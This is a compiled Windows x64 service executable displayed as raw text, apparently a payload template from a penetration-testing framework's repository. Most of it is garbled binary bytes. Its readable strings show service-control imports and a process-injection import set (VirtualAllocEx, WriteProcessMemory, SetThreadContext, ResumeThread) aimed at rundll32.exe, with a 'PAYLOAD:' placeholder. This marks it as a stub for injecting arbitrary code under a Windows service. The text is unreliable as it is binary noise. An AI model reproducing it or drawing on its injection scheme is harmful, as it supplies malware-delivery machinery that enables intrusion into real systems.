Path: blob/master/data/templates/template_x64_windows_svc.exe
31177 views
MZ� �� � @ � � � �!�L�!This program cannot be run in DOS mode.
$ ���罈����������� ��������������:������:������Rich���� PE d� �̰h � " , ( � @ p `� �! < ` 0 h h .text � `.rdata b @ @.data | 0 " @ �.pdata 0 ` . @ @ H�T$H�L$H��H�D$ H�D$H�$ H�$ � H�$H��H�$H�D$(H9$sH�D$� H�D$H��H�D$��H����������������������̉L$H��(�|$0t�|$0u��? ��? H��? H�
�? �R H��(��������������H�T$�L$H�� H�D$P � H�
{? �����h H�L$p����� H�L$X������D$ph �F? �@? �:? H�;���H�
� �� H��> H�=�> �9 �? H��> H�
�> �� H�D$XH�D$HH�D$pH�D$@H�D$8 H�D$0 �D$( �D$ E3�E3�H�h> 3��x ���� DŽ$ H��$� H�L$`�Z �D$ @ A� 0 A� 3�H�L$X�I H�D$PH�|$P tGH�D$ A� L�� H�T$PH�L$X� H�D$PH��$� H��$� H�L$`��
�H�L$`��
H�L$`��
H�L$X��
�� �����3���
�H�ĸ ���������H��HH�U H�D$ H� ���H�D$(H�D$0 H�D$8 H�L$ �/
�3�H��H� �" �" h" �" �" �" �" # # ,# ># �̰h
� � � �� � � � .text$mn h .idata$5 h .rdata � .rdata$voltmd � � .rdata$zzzdbg �! .xdata �! ( .idata$2 �! .idata$3 " h .idata$4 h" � .idata$6 0 @ .data @P < .bss ` 0 .pdata " B � � " �" " T# �" �" h" �" �" �" �" # # ,# ># �RegisterServiceCtrlHandlerA �SetServiceStatus �StartServiceCtrlDispatcherA ADVAPI32.dll � CloseHandle �ExitProcess ResumeThread � CreateProcessA )GetThreadContext �SetThreadContext VirtualAllocEx hWriteProcessMemory KERNEL32.dll SERVICENAME PAYLOAD: rundll32.exe \ �! p � �! � � �! � � �!